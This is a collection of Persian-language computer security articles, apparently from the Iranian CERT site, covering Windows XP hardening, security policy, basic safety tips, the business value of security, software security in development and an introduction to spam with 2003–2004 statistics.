7- استفاده از فایروال در صورت ارتباط با شبکه

اگر از شبکه استفاده می کنید و خصوصاً اگر اتصال دائم به اینترنت دارید، حتماً از یک فایروال شخصی(personal firewall) استفاده کنید. به همراه Windows XP یک فایروال بنام ICF وجود، ولی بطور پیش فرض غیر فعال است.برای فعال سازی فایروال ICF مراحل زیر را طی کنید :

• به Control Panel > Network Connections مراجعه کنید.
• بر روی Local Area Connection کلیک راست کنید.
• در بخش Advanced زیر گزینه
 Protect my computer and network by limiting or preventing access to this computer from the Internet راانتخاب کنید.

ICF تنها ترافیک ورودی را فیلتر کرده و به ترافیک خروجی کاری ندارد، بنابراین نصب فایروالهای شخصی دیگر پیشنهاد می شود. فایروالهای شخصی معروف عبارتند از ZoneAlarm ، Outpost ، BlackIce ، McAfee و .... البته نمی توان ادعا کرد یک فایروال بهترین است و هیچ ایرادی ندارد، کما اینکه در مورد فایروالهای فوق نیز گزارشات ضد و نقیضی مبتنی بر وجود حفره های امنیتی می رسد. به عنوان مثال در یک گزارش ادعا شده است که ZoneAlarm برای شرکت مایکروسافت جاسوسی می کند؟!!

8- "به روز" نگهداری Windows با hotfix ها و service pack ها

یک روش متداول نفوذگران، استفاده از آخرین شکافهای امنیتی گزارش شده است. 99% نفوذها بخاطر سوء استفاده از شکافهای امنیتی شناخته شده و به روز نگه نداشتن سیستمهای قربانی و نصب نکردن patch های امنیتی است. از امکان Windows Update ویا Automatic Update برای به روز نگهداری Windows خود استفاده نمایید. برای فعال سازی Automatic Update وارد بخش Control Panel ویندوز خود شوید و در مسیر Performance and Maintenance > System تنظیمات مورد نظر خود را در بخش Automatic Update انجام دهید.

9- نصب برنامه های ضد ویروس

از ابتدایی ترین گامها در ایمن سازی سیستم، نصب برنامه های ضد ویروس است. البته درصورتی که آنرا به روز (update) نکنید، تقریباً فایده ای برای شما نخواهد داشت. از جمله ضد ویروسهای معروف Norton و McAfee هستند. McAfee و نسخه های 2002 و 2003 Norton را می توان بمدت یکسال بدون نیاز به خرید به روز نمود.

10- استفاده از password برای Screen Saver

استفاده از password برای Screen Saver باعث می شود اگر برای مدتی از میز کار خود دور شدید، فرد غیر مجاز دیگری نتواند از کامپیوتر شما سوء استفاده نماید. برای password گذاری روی Screensaver باید :

• بر روی desktop کلیک راست کنید.
• گزینه Propertiesرا انتخاب نموده، بخش Screen Saver را انتخاب کنید.
• با تنظیم زمان لازم برای فعال شدن Screen Saveگزینه On resume, display Welcome screen را انتخاب نمایید.

11- ایمنی اطلاعات Backup کامپیوتر

در برخی مؤسسات و شرکتها هزینه زیادی برای بستر سازی امنیت شبکه های کامپیوتری خود و رمزکردن داده های روی کامپیوترها انجام می دهند، ولی با کمال تعجبBackup همان دادهای رمز شده بر روی CD ها و Tapeهایی که نه رمز شده اند و نه قفلی دارند و حتی در برخی موارد در مکان امنی هم نیستند، قرار دارد!

در مقالات بعدی به معیارهای امنیت در سطوح متوسط و پیشرفته نیز اشاره خواهیم کرد.

منبع: Http://www.secinfo.info


﻿ IRCERT - سیاست های امنیتی - مقالات

سیاست های امنیتی

در دنیایی که وجه مشخصه آن فناوری سطح بالا و ارتباطات گسترده می باشد، هر سازمانی نیاز به سیاست های امنیتی که مدبرانه تدوین شده باشند دارد. در هر لحظه خطرات مختلفی از بیرون و درون سازمان توسط هکرها، رقبا و یا کشورهای خارجی منافع سازمان را تهدید می کند. هدف سیاست های امنیتی تعریف روال ها، راهنماها و تمریناتی است که امنیت را در محیط سازمان برقرار و مدیریت می نماید. با اجرای دقیق سیاست های امنیتی، سازمان ها می توانند تهدیدات را کاهش دهند.

گروه امداد امنیت کامپیوتری ایران در قالب چند مقاله به معرفی مفاهیم سیاست های امنیتی و روش های سیاست گذاری امنیتی خواهد پرداخت.

مفاهیم

سیاست امنیتی یک سازمان سندی است که برنامه های سازمان برای محافظت سرمایه های فیزیکی و مرتبط با فناوری ارتباطات را بیان می نماید. به سیاست امنیتی به عنوان یک سند زنده نگریسته می شود، بدین معنا که فرایند تکمیل و اصلاح آن هیچ گاه متوقف نشده، متناسب با تغییر فناوری و نیازهای کاربران به روز می شود. چنین سندی شامل شرایط استفاده مجاز کاربران، برنامه آموزش کاربران برای مقابله با خطرات، توضیح معیارهای سنجش و روش سنجش امنیت سازمان و بیان رویه ارزیابی موثر بودن سیاست های امنیتی و راه کار به روز رسانی آنها می باشد.

هر سیاست امنیتی مشخص کننده اهداف امنیتی و تجاری سازمان است ولی در مورد راه کارهای مهندسی و پیاده سازی این اهداف بحثی نمی کند. سند سیاست امنیتی سازمان باید قابل فهم، واقع بینانه و غیر متناقض باشد، علاوه بر این از نظر اقتصادی امکان پذیر، از نظر عملی قابل انعطاف و متناسب با اهداف سازمان و نظرات مدیریت آن سطح حافظتی قابل قبولی را ارائه نماید.

تدوین سیاست

بهترین روش برای دستیابی به امنیت اطلاعات، فرموله نموده سیاست امنیتی است. مشخص نمودن سرمایه های اصلی که باید امن شوند و تعیین سطح دسترسی افراد (به عبارت دیگر اینکه چه افرادی به چه سرمایه هایی دسترسی دارند) در اولین گام باید انجام شود. هدف اصلی از سیاست امنیتی این است که کاربران بدانند مجاز به چه کارهایی هستند و از سوی دیگر مدیران سیستم و سازمان را در تصمیم گیری برای پیکربندی و استفاده از سیستم ها یاری رساند.

برای تدوین سیاست امنیتی پس از تحلیل ریسک های سازمان، می توان به روش هایی که دیگران برگزیده اند متوسل شد. معمولا تجارب مفیدی که قبلا در صنایع مشابه انجام شده و نتایج خوبی از آنها نتیجه شده است به صورت عمومی گزارش شده و در قالب مقالات تخصصی ارائه می گردند. استانداردهای شناخته شده ای نیز برای این کار وجود دارد که می توان از آنها هم بهره گرفت.

سازمان های بزرگ و متوسط برای تعریف سیاست امنیتی خود ناچار به پیروی روش بالا به پایین می باشند. ولی برای سازمان های کوچک انجام این کار به روش پایین به بالا نیز امکان پذیر است. در این حالت از قابلیت های ابزارهای موجود بهره گرفته می شود.

همانگونه که هرم سیاست فوق نشان می دهد، بهترین سیاست امنیتی در شرایطی تدوین می گردد که مدیریت سازمان سیاست کلی را ارائه نموده و یا دستور پیاده سازی اصول امنیتی را در سازمان صادر کند. تدوین کنندگان سیاست سازمان باید فعالیت خود را بر پایه اصول و استانداردهای صنعتی مانند ISO17799 و یا HIPAA انجام دهند. رویه ها، راهنماها و تجربیات پایه ای برای ایجاد و توسعه فناوری امنیتی در سازمان های مختلف هستند. محصولاتی مانند ESM سازگاری و انعطاف سیاست را با سیاست ها و روال های امنیتی سیستم عامل ها، پایگاه داده ها و برنامه های کاربردی ارزیابی می نمایند. این ابزارها ممکن است با محیط کامپیوتری و شبکه سازمان در تعامل باشند.

استانداردها و روال های امنیتی

سیاست های امنیتی دربردارنده کلیه انتظارات، برنامه ها و اهداف عملیاتی مدیریت سازمان می باشد. برای عملیاتی و قابل اجرا بودن، سیاست امنیتی باید با استفاده از استانداردها، راهنماها و رویه های شناخته شده تعریف شود که اطمینان از سازگاری کلیه عملیات اجرایی با سیاست های امنیتی حاصل گردد.

استاندارها، راهنما ها و روال ها تفسیر خاصی از سیاست را ارائه می کنند و کاربران، مشتریان و مدیران سازمان را برای پیاده سازی سیاست آماده می نمایند.

ساختار سیاست امنیتی

ساختار سیاست امنیتی مرکب از اجزاء زیر می باشد:

  • عبارتی در رابطه با موضوع سیاست
  • چگونگی اجرای سیاست در محیط سازمان
  • نقش و مسئولیت افراد مختلف تاثیر گذار در سیاست
  • سیاست به چه میزان انعطاف پذیر است؟
  • اعمال، فعالیت ها و فرایندهای مجاز و غیر مجاز
  • موارد سخت گیری و عدم انعطاف سیاست

در بخش های بعدی از این مقاله اطلاعات بیشتری در رابطه با مفاهیم سیاست های امنیتی و نیز روش های تدوین این سیاست ها ارائه خواهد شد.


﻿ IRCERT - ده نکته برای حفظ امنیت - مقالات

10 نکته برای حفظ امنیت

هر روزه اخبار جدیدی در مورد حملات و تهدیدات کامپیوتری در رسانه های مختلف انتشار می یابد. این تهدیدات شامل ویروس های جدید و یا انواع هک و نفوذ در سیستم های کامپیوتری است. انتشار این گونه اخبار باعث شیوع اضطراب و نگرانی در بین کاربرانی می شود که به صورت مستمر از کامپیوتر بهره می گیرند و یا اطلاعاتی ارزشمند بر روی کامپیوترهای خود دارند.

در این مقاله سعی شده چند نکته که در رابطه با امنیت کامپیوتر اهمیت اساسی دارند به صورت مختصر شرح داده شوند. یک کاربر در صورت رعایت این نکات می تواند تا حدود زیادی از حفظ امنیت سیستم کامپیوتری خود مطمئن باشد. در رابطه با بعضی از نکات که توضیحات بیشتری لازم بوده، مقالات جامع تری معرفی گردیده اند.

  1. استفاده از نرم افزارهای محافظتی (مانند ضدویروس ها) و به روز نگه داشتن آنها

از وجود ضدویروس بر روی دستگاه خود اطمینان حاصل کنید. این نرم افزارها برای محافظت از کامپیوتر در برابر ویروس های شناخته شده به کارمی روند و در صورت استفاده از آنها کاربر نیاز به نگرانی در مورد ویروس ها نخواهد داشت. در شرایطی که روزانه ویروس های جدید تولید شده و توزیع می شوند، نرم افزارهای ضدویروس برای تشخیص و از بین بردن آنها باید به صورت منظم به روز شوند. برای این کار می توان به سایت شرکت تولید کننده ضدویروس مراجعه کرد و اطلاعات لازم در مورد نحوه به روز رسانی و نیز فایل های جدید را دریافت نمود. عموما نرم افزارهای ضدویروس ابزار های به روز رسانی و زمان بندی این فرایند را در خود دارند. برای مطالعه بیشتر در مورد ویروس ها و آشنایی با طرز کار و قابلیت های ضدویروس ها به سایت گروه امداد امنیت کامپیوتری ایران مراجعه نمایید.

  2. باز نکردن نامه های دریافتی از منابع ناشناس

این قانون ساده را پیروی کنید، «اگر فرستنده نامه را نمی شناسید، نسبت به نامه و پیوست های آن بسیار با دقت عمل نمایید». هرگاه یک نامه مشکوک دریافت کردید، بهترین عمل حذف کل نامه همراه با پیوست های آن است.

برای امنیت بیشتر حتی اگر فرستنده نامه آشنا باشد هم باید با احتیاط بود. اگر عنوان نامه نا آشنا و عجیب باشد، و بالاخص در صورتی که نامه حاوی لینک های غیرمعمول باشد باید با دقت عمل کرد. ممکن است دوست شما به صورت تصادفی ویروسی را برای شما فرستاده باشد. ویروس “I Love You” دقیقا به همین صورت میلیون ها کامپیوتر را در سراسر دنیا آلوده نمود. تردید نکنید، نامه های مشکوک را پاک نمایید.

مقالات محافظت در برابر خطرات ایمیل ۱ و ۲ به صورت مفصل در رابطه با این موضوع نگاشته شده است.

  3. استفاده از گذرواژه های مناسب

گذرواژه تنها در صورتی دسترسی غریبه ها به منابع موجود را محدود می کند که حدس زدن آن به سادگی امکان پذیر نباشد. گذرواژه های خود را در اختیار دیگران قرار ندهید و از یک گذرواژه در بیشتر از یک جا استفاده نکنید. در این صورت اگر یکی از گذرواژه های شما لو برود، همه منابع در اختیار شما در معرض خطر قرار نخواهند گرفت. قانون طلایی برای انتخاب گذرواژه شامل موارد زیر است:

    • گذرواژه باید حداقل شامل ۸ حرف بوده، حتی الامکان کلمه ای بی معنا باشد. در انتخاب این کلمه اگر از حروف کوچک، بزرگ و اعداد استفاده شود (مانند xk27D8Fy) ضریب امنیت بالا تر خواهد رفت.

    • به صورت منظم گذرواژه های قبلی را عوض نمایید.

    • گذرواژه خود را در اختیار دیگران قرار ندهید.

در مقاله انتخاب و محافظت از کلمات عبور نکات دقیق تری در این رابطه بیان شده است.

  4. محافظت از کامپیوتر در برابر نفوذ با استفاده از حفاظ(Firewall)

حفاظ دیواری مجازی بین سیستم کامپیوتری و دنیای بیرون ایجاد می کند. این محصول به دو صورت نرم افزاری و سخت افزاری تولید می شود و برای حفاظت کامپیوترهای شخصی و نیز شبکه ها به کار می رود. حفاظ داده های غیر مجاز و یا داده هایی که به صورت بالقوه خطرناک می باشند را فیلتر کرده و سایر اطلاعات را عبور می دهد. علاوه بر این حفاظ در شرایطی که کامپیوتر به اینترنت وصل است، مانع دسترسی افراد غیرمجاز به کامپیوتر می شود.

مقاله مقدمه ای بر فایروال به معرفی نحوه عملکرد حفاظ ها می پردازد و یکی از رایج ترین حفاظ های شخصی در مقاله حفاظ شخصی ZoneAlarm معرفی شده است.

  5. خودداری از به اشتراک گذاشتن منابع کامپیوتر با افراد غریبه

سیستم های عامل این امکان را برای کاربران خود فراهم می آورند که با هدف به اشتراک گذاری فایل، دسترسی دیگران را از طریق شبکه و یا اینترنت به دیسک سخت محلی فراهم آورند. این قابلیت امکان انتقال ویروس از طریق شبکه را فراهم می آورد. از سوی دیگر در صورتی که کاربر دقت کافی را در به اشتراک گذاشتن فایل ها به عمل نیاورد، امکان مشاهده فایل های خود را به دیگرانی که مجاز نیستند ایجاد می کند. بنابراین درصورتی که نیاز واقعی به این قابلیت ندارید، به اشتراک گذاری فایل را متوقف نمایید.

  6. قطع اتصال به اینترنت در مواقع عدم استفاده

به خاطر داشته باشید که بزرگ راه دیجیتال یک مسیر دوطرفه است و اطلاعات ارسال و دریافت می شوند. قطع اتصال کامپیوتر به اینترنت در شرایطی که نیازی به آن نیست احتمال اینکه کسی به دستگاه شما دسترسی داشته باشد را از بین می برد.

  7. تهیه پشتیبان از داده های موجود بر روی کامپیوتر

همواره برای از بین رفتن اطلاعات ذخیره شده بر روی حافظه دستگاه خود آمادگی داشته باشید. امروزه تجهیزات سخت افزاری و نرم افزاری متنوعی برای تهیه نسخه های پشتیبان توسعه یافته اند که با توجه به نوع داده و اهمیت آن می توان از آنها بهره گرفت. بسته به اهمیت داده باید سیاست گذاری های لازم انجام شود. در این فرایند تجهیزات مورد نیاز و زمان های مناسب برای تهیه پشتیبان مشخص می شوند. علاوه بر این باید همواره دیسک های Start up در دسترس داشته باشید تا در صورت وقوع اتفاقات نامطلوب بتوانید در اسرع وقت سیستم را بازیابی نمایید.

  8. گرفتن منظم وصله های امنیتی(Patches)

بیشتر شرکت های تولید کننده نرم افزار هر از چند گاهی نرم افزارهای به روز رسان و وصله های امنیتی جدیدی را برای محصولات خود ارائه می نمایند. با گذر زمان اشکالات جدید در نرم افزارهای مختلف شناسایی می شوند که امکان سوءاستفاده را برای هکرها بوجود می آورند. پس از شناسایی هر اشکالی شرکت تولید کننده محصول اقدام به نوشتن وصله های مناسب برای افزایش امنیت و از بین بردن راه های نفوذ به سیستم می کنند. این وصله ها بر روی سایت های وب شرکت ها عرضه می شود و کاربران باید برای تامین امنیت سیستم خود همواره آخرین نسخه های وصله ها را گرفته و بر روی سیستم خود نصب کنند. برای راحتی کاربران ابزارهایی توسعه داده شده اند که به صورت اتوماتیک به سایت های شرکت های تولید کننده محصولات وصل شده، لیست آخرین وصله ها را دریافت می نمایند. سپس با بررسی سیستم موجود نقاط ضعف آن شناسایی و به کاربر اعلام می شود. به این ترتیب کاربر از وجود آخرین نسخه های به روز رسان آگاه می شود.

  9. بررسی منظم امنیت کامپیوتر

در بازه های زمانی مشخص وضعیت امنیتی سیستم کامپیوتری خود را مورد ارزیابی قرار دهید. انجام این کار در هر سال حداقل دو بار توصیه می شود. بررسی پیکربندی امنیتی نرم افزارهای مختلف شامل مرورگرها و حصول اطمینان از مناسب بودن تنظیمات سطوح امنیتی در این فرایند انجام می شوند.

  10. حصول اطمینان از آگاهی اعضای خانواده و یا کارمندان از نحوه برخورد با کامپیوترهای آلوده

هر کسی که از کامپیوتر استفاده می کند باید اطلاعات کافی در مورد امنیت داشته باشد. چگونگی استفاده از ضدویروس ها و به روز رسانی آنها، روش گرفتن وصله های امنیتی و نصب آنها و چگونگی انتخاب گذرواژه مناسب از جمله موارد ضروری می باشد.


﻿ IRCERT - ارزش تجاری امنیت - مقالات

ارزش تجاری امنیت

اگر با امنیت سروکار دارید، بنحوی به این مطلب اذعان دارید که امنیت هزینه بر است، هم از نظر ویژگی ها، هم کارایی و هم قابلیت استفاده. ممکن است هر روز با این حقیقت سروکار داشته باشید و حتی این مطلب را کاملا پذیرفته باشید. اما اگر به شما گفته شود که می توانید احساس خود را نسبت به امنیت تغییر دهید و از آن بجای عاملی هزینه بر به عنوان یک تقویت کننده تجارت استفاده کنید،‌آنگاه چه می گویید؟ ممکن است این مفهوم جدید هنگامی که شما مورد تجاری بعدی خود را برای یک سیستم جدید پایه ریزی می کنید و نیاز دارید که سرمایه بیشتری تقاضا کنید، تفاوت زیادی ایجاد کند. اجازه دهید به شما بگوییم چگونه!

یک طرح امنیتی خوب باید به خوبی از کار بیافتد!

هنگامی که یک راه حل یا برنامه کاربردی طراحی می کنید، دیر یا زود اشکالات فعال و غیرفعال را خواهید دید. مهم نیست که چقدر خوب طراحی کرده باشید، امنیت در نهایت از کار می افتد! هنگامی که امنیت را در راه حل خود وارد می کنید، باید روی این مطلب تمرکز کنید که چگونه کار خواهد کرد و تراکنش خواهد داشت. اما مهم تر این است که چگونه از کار خواهد افتاد.

مرتبه بعد که راه حل جدیدی را طراحی و پیاده سازی می کنید، به دنبال این باشید که چگونه می توانید هنگامی که طرح شما به خطر می افتد ، از یک واکنش زنجیره ای اتفاقات بد جلوگیری کنید. هنگامی که برای جلوگیری از اشکالات، آینده نگری می کنید، این رویکرد به راه حلی منتهی می شود که خسارت را در هنگام به خطر افتادن سیستم، محدود می کند. به عبارت دیگر، مطمئن شوید که طراحی شما به خوبی از کار می افتد و مشکلات گسترده ای ایجاد نمی کند!

یک راه حل که به خوبی از کار میفتد، چگونه ارزش تجاری امنیت را تحت تأثیر قرار می دهد؟ در اینجا به یک مثال اشاره می کنیم: شرکت شما یک پورتال آنلاین ایجاد می کند که روی زیرساختار مبتنی بر Windows Server 2003 و چارچوب .NET اجرا می شود. یک شرکت مشابه نیز پورتالی دارد که اخیراً به خطر افتاده است. بنابراین شرکت شما می خواهد این تضمین را بدهد که مشتریان بالقوه به پورتال جدید اعتماد دارند. راه حل هایی که به طرز بدی از کار می افتند، آنهایی هستند که شما دوست ندارید در آینده یادآور آنها باشید.

بنابراین شرکت شما سعی می کند زیرساختار را ساده کند: شما با پیاده سازی پورتال در سه سطح، یک تقسیم بندی انجام می دهید. در طول نصب تا آنجا که ممکن است از تراکنش های انسانی با استفاده از نصب های اسکریپتی و خودکار می کاهید. به صورت مرکزی ابزارهایی مانند Group Policy در Active Directory را سرپرستی می کنید. برای بهبود امنیت پورتال و بهینه سازی عملیات روزانه، روندهای مدیریت وصله های امنیتی را بهینه می کنید. شما تمام این کارها را تحت نام امنیت انجام می دهید. آنچه که شما در نهایت توسط آن، کار خود را به اتمام می رسانید زیرساختاری است که برای آنچه در آن سرمایه گذاری کرده اید، ارزش افزوده به ارمغان می آورد. شما یک طرح پورتال دارید که پویاتر و مقاوم تر است و به راحتی برای مقاومت در برابر تهدیدها و حملات جدید سازگار می شود.

شما همچنین تکنولوژی ای را که از آن استفاده می کنید بهتر درک می کنید و در عین حال کارمندان IT شما بازدهی بیشتری دارند، زیرا شما نصب طاقت فرسا و وظایف نگهداری را از کار روزانه حذف کرده اید. شما در حقیقت با استفاده از امنیت به عنوان یک تقویت کننده، ارزش تجاری را افزایش داده اید.

اما صبر کنید، یک عامل دیگر هنوز وجود دارد...

عامل انسانی

امنیت در حقیقت مربوط به همه است. نه فقط کسانی که به یک سیستم حمله می کنند، بلکه کسانی که از آن مراقبت می کنند نیز درگیرند. یک چیز را به خاطر داشته باشید: اگر می خواهید طرح امنیتی شما کار کند شما مجبورید به افراد اعتماد کنید. جزئیات یک روش امنیتی اغلب پیچیده است، اما روشی که امنیت عمل می کند و از کار می افتد چیزی است که همه می توانند بفهمند. این را هنگامی که طرح امنیتی خود را ایجاد و پیاده سازی می کنید به یاد داشته باشید.

امتیازی که انسان ها نسبت به ماشین دارند این است که می توانند ابتکار داشته باشند، به سرعت تصمیم گیری کنند و مشکلات را کشف کنند. از طرفی افراد ضعیف ترین بخش یک زنجیره امنیتی هستند. آنها معمولاً دلیل از کار افتادن طرح امنیتی شما هستند.

بنابراین، چگونه می توانید ضعف انسانی را به یک نقطه مثبت تبدیل کنید؟ مطمئن شوید که هنگامی که امنیت را در طرح خود وارد می کنید، افراد مرتبط را درگیر می کنید، به آنها وظایفی محول می کنید و آگاهشان می کنید. داخل یک سازمان، امنیت یک تلاش گروهی است، هم عمودی و هم افقی! همه را درگیر کنید و برای فیدبک ها و پیشنهادهای سازنده در مورد طرحتان به صورت باز برخورد کنید. با استفاده از امنیت به عنوان ابزاری برای ارتباط در میان کل سازمان، شما افراد را از اموالی که قصد محافظت دارید، آگاه می سازید. در حقیقت مقوله امنیت به عنوان یک عامل انگیزه، بر ارزش تجاری می افزاید، زیرا افراد را مجبور به تراکنش و اشتراک ایده ها می کند.

امنیت کامل وجود ندارد؛ اما مخاطرات باید قابل مدیریت باشند. هنگامی که شما به صورت موثری مخاطرات امنیتی را مدیریت می کنید، یک طرح امنیتی -تجاری قدرتمند در اختیار دارید که چیزی بیش از یک هزینه است.

شما نمی توانید این حقیقت را که امنیت همیشه پول را تعقیب می کند، تغییر دهید. شما می توانید رویکرد خود را با تبدیل ساختن امنیت به یک ابزار تجاری با ارزش تغییر دهید و می توانید از آن به عنوان یک انگیزه و تقویت کننده استفاده کنید، هم برای تکنولوژی و هم برای افراد. اکنون امنیت چیزی است که هیچ تجارتی نمی تواند بدون آن وجود داشته باشد.


﻿ IRCERT - سمینارهای آموزشی

صفحه اول

سمینارهای آموزشی

گروه امداد امنیت کامپیوتری ایران با هدف ارتقا سطح دانش امنیتی مدیران و کاربران شرکتها و سازمانهای خصوصی و دولتی سمینارهای آموزشی یک روزه برگزار می کند. علاقه مندان می توانند از طریق ایمیل گروه و یا تلفن 2866262 اطلاعات بیشتر را کسب و هماهنگی لازم را انجام دهند. لازم به ذکر است در حال حاضر امکان ثبت نام از افراد حقیقی برای گروه میسر نیست و لذا تنها سمینارها با هماهنگی مجموعه های حقوقی و برای کاربران و مدیران آن مجموعه ها برگزار می شود.

جدول ذیل بیانگر لیست موضوعات قابل ارائه درحال حاضر است.

ردیف | مخاطب | مباحث مطروحه | مجموع ساعات
1 | مدیران | امنیت در فضای سایبر سیاستهای امنیتی (از دیدگاه مدیریتی) | 3
2 | کاربران (ابتدایی) | امنیت ویندوز XP امنیت در اینترنت (برای کاربران انتهایی) امنیت ایمیل (برای کاربران انتهایی) | 4.5


﻿ IRCERT - امنیت در تولید نرم افزارها - مقالات

امنیت در تولید نرم افزارها

Wi-Fi مشکلات امنیتی دارد. همچنین Microsoft Outlook! لینوکس، تلفن های هوشمند، مرورگر موزیلا و بسیاری چیزهای دیگر، اما عامل مشترک میان آنها چیست؟

نرم افزار.

نرم افزار مسائل امنیتی دارد و وصله های امنیتی و فایروال هایی که ما شیفته آنها هستیم، راه حلی برای به روز نگهداشتن امنیت نرم افزارها ندارند.

امروزه، در حال تولید میزان انبوهی از نرم افزارها هستیم و سیستم های محاسباتی و شبکه های خود را پیچیده تر می کنیم. اما متاسفانه در همین زمان، توانایی بستن شکاف های امنیتی اندکی هم پیشرفت نداشته است. بسادگی مشخص است که باید در روش های تولید و توسعه نرم افزار چندین تغییر اساسی ایجاد کنیم و این روند را بهبود بخشیم.

اینجا، جایی است که امنیت نرم افزار مطرح می شود. امنیت نرم افزار یک نظام جوان است که خصوصیات امنیتی نرم افزار را هنگامی که در حال طراحی، آزمایش، پیاده سازی و بکارگیری است، مورد خطاب قرار می دهد. یعنی در دوره زمانی تولید نرم افزار یا Software Development Life Cycle (SDLC). این شامل فعالیت های امنیتی زیادی در مراحل مختلف در SDLC، مانند مدل کردن تهدید، مدیریت خطر و آزمایش های امنیتی است.

یک عامل مهم که که به شکلی این مسئله را بغرنج تر می کند این واقعیت است که تولیدکنندگان نرم افزار و گروه های امنیت IT تمایل دارند که کاملاً مستقل از یکدیگر بر اولویت های خویش تمرکز کنند. تولید نرم افزار عموماً تلاشش را روی مسائلی چون کارایی و کارامدی نرم افزار، هزینه و غیره متمرکز می کند. و البته مطمئناً اینها عناوین مهمی هستند.

از طرف دیگر، تیم های امنیت IT معمولاً امنیت یک برنامه را بعد از اینکه نوشته شد، مورد توجه قرار می دهند. آنها بدنبال روش هایی برای مجزا کردن نرم افزار با ابزار تکنولوژی مانند فایروال ها، شبکه های خصوصی مجازی و غیره هستند ــ رویکردی که انجمن امنیت نرم افزار عموماً آن را امنیت نرم افزار می نامد.

مشاهده می کنید که این نوع رویکرد امنیت نرم افزار تمایل دارد که غالباً واکنشی باشد، بدون اینکه بطور کافی علل ریشه ای مشکلات را مورد توجه قرار دهد. همین نوع برخورد است که باعث وضعیت جاری است، و تا حد زیادی مسوول مسائل امنیتی است که امروزه در مراکز دیتای خود با آن مواجه هستیم.

اگر شما به روند SDLC از نظر زمانی نگاهی بیندازید، پی خواهید برد که تولیدکنندگان نرم افزار عموماً در طرف چپ نمودار و اعضای امنیت IT در طرف راست و با همپوشانی بسیاری کمی قرار دارند. کسانی که شانس بودن در دو طرف نمودار را داشته اند معتقدند که می توان برای بهبود وضعیت، کارهای زیادی انجام داد بشرطی که بین دو طرف تا حدی اشتراک منابع انجام گیرد.

در اینجا چندین پیشنهاد که برای بهبود امنیت نرم افزارها، از اولین مراحل ممکن، می توانیم انجام دهیم، آورده شده است:

· -تولید کنندگان نیاز دارند که تیم امنیت IT خود را تا جایی که امکان دارد از اولین مراحل طراحی، درگیر کنند. هنگامی که شما سعی خود را می کنید تا در مورد ساخت چیزی تصمیم بگیرید، اندیشیدن در مورد نحوه سوءاستفاده یا تخریب آن آسان نیست. شما مجبورید مانند یک شخص امنیتی فکر کنید. خوب، اعضای تیم امنیت IT شما، فعالیت حرفه ای خود را برروی مطالعه نحوه تخریب چیزها سپری کرده اند، و می توانند به شما کمک کنند تا بفهمید نرم افزار شما با چه نوع حملاتی ممکن است مواجه شود.

· - مشابهاً، به اعضای تیم امنیت اجازه دهید در طراحی تست های امنیتی به شما کمک کنند. و در اینجا (فقط) منظور یک تست نفوذ یک هفته قبل از بکارگرفتن نرم افزار نیست! منظور انجام تمام تست های بسیار جدی است که شما در مورد نرم افزارها انجام می دهید.

· - به تاکتیک هایی که تیم عملیات می تواند برای افزایش امنیت نرم افزار شما بکارگیرد، توجه کنید. برای مثال، آیا فایل ها، کتابخانه های اشتراکی (مثلا فایلهای .DLL در ویندوز) یا اجزاء دیگری که کاملاً برای امنیت نرم افزار شما مهم هستند، وجود دارند؟ تیم عملیات لزوماً نخواهد دانست که آنها چه هستند مگر اینکه شما به ایشان بگویید. این تیم با دانستن اینکه قسمت های باارزش و حیاتی نرم افزار شما کجا قرار دارند، می توانند کنترل دسترسی به فایل، ثبت وقایع (شامل تشخیص نفوذ) را تضمین کنند و همچنین هنگامی که قسمتی دچار انحراف می شود به افراد ذیصلاح اطلاع داده می شود.

· - اعضاء تیم امنیت IT باید در مورد روندهای ایجاد و توسعه نرم افزار سازمان شما، بیاموزند. آنها باید بتوانند بطور هوشمندانه ای با تیم تولید نرم افزار گفتگو کنند.

· --زمانی برای مطالعه امنیت نرم افزار صرف کنید و ببینید چه نقاط تماس امنیتی می توانید در دوره زمانی تولید نرم افزار بگنجانید تا بتوانید از ابتدا تا انتهای این روند با امنیت در ارتباط باشید.

بیشتر آنچه گفته می شود، اساساً مربوط به سازمانهایی است که نرم افزارهای تجاری را ایجاد می کنند. امنیت نرم افزار، همانطور که گفته شد، هنوز در مراحل خردسالی قرار دارد. قصد نداریم که به نتایج شگفت انگیزی در طول یک شب برسیم. بهرحال، تجربیات افراد خبره که با سازمان های تولید نرم افزار سروکار داشته اند، نشان می دهد که از دو ناحیه می توان بیشترین استفاده را در امنیت نرم افزار برد؛ مدل کردن تهدید و تستهای امنیتی بسیار سخت.

اینها در دسترس ترین قسمت ها برای سرمایه گذاری هستند تا بتوانیم بیشترین بهبود را حاصل کنیم.


﻿ IRCERT - اسپم چیست؟ - مقالات

اسپم چیست؟

اگر برای مدت طولانی است که از اینترنت استفاده می‌کنید، بدون شک تاکنون تعداد زیادی از ایمیل‌های ناخواسته دریافت کرده‌اید. بعضی ادعا می‌کنند که شما را بسرعت ثروتمند می‌کنند. بقیه قول محصولات یا خدمات جدید را می‌دهند. بعضی فضایی از صندوق پیستی شما را اشغال می‌کنند و از شما می‌خواهند که ایمیل را به بقیه ارسال کنید یا وب‌سایت مشخصی را ببینید. در جامعه اینترنتی ایمیلهای بعضاً تجاری ناخواسته، “اسپم” نامیده می‌شوند. اسپم اثری بیش از مزاحمت برای استفاده‌کنندگان اینترنت دارد و بطور جدی بازدهی شبکه و سرویس‌دهندگان ایمیل را تحت تاثیر قرار می‌دهد. و این به این دلیل است که فرستندگان اسپم از هزینه بسیار پایین ایمیل استفاده می‌کنند و صدهاهزار یا حتی میلیون‌ها ایمیل را در یک زمان ارسال می‌کنند. حمله‌های اسپم پهنای باند زیادی را می‌گیرد، صندوق‌های پستی را پر می‌کند و زمان خوانندگان ایمیل را تلف می‌کند. گاهی می‌توان اسپم‌ها را از عناوین عجیب، غیرمنطقی و مضحکشان تشخیص داد.

آمار زیر درصد ایمیل‌هایی را که در ماه‌های اخیر بعنوان اسپم تشخیص داده شده‌اند، به تفکیک ماه در نمودار و جدول زیر مشخص شده‌اند.

درصدهایی که از کل ایمیل‌ها، بعنوان اسپم شناخته شده‌اند (در مدت یک سال)
March 2004 | 63%
February 2004 | 62%
January 2004 | 60%
December 2003 | 58%
November 2003 | 56%
October 2003 | 52%
September 2003 | 54%
August 2003 | 50%
July 2003 | 50%
June 2003 | 49%
May 2003 | 48%
April 2003 | 46%

دسته‌بندی اسپم‌ها

برای اینکه بدانید اسپم‌ها بیشتر حاوی چه موضوعاتی هستند و هر موضوع چند درصد از کل اسپم‌ها را شامل می‌شود، می‌توانید به جدول زیر نگاهی بیندازید:

(در قسمت بعد، در مورد روشهای مقابله با اسپم‌ها برای شما خواهیم نوشت.)

توضیح

درصد

دسته

ارائه کننده یا تبلیغ‌کننده کالاها و خدمات عمومی

